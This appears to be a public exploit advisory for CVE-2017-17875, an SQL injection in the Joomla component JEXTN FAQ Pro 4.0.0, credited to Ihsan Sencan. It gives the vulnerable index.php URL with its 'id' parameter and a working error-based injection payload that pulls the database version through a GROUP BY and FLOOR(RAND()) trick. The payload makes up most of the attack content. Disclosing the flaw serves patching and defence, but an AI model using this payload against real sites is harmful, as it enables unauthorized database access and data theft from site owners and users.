Joomla! Component JEXTN FAQ Pro 4.0.0 - id SQL Injection

# # # # #
# Exploit Title: Joomla! Component JEXTN FAQ Pro 4.0.0 - SQL Injection
# Dork: N/A
# Date: 24.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jextn-faq-pro/
# Version: 4.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17875
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jefaqpro&view=category&id=[SQL]&Itemid=494
#  
# 11+OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1
# 
# # # # #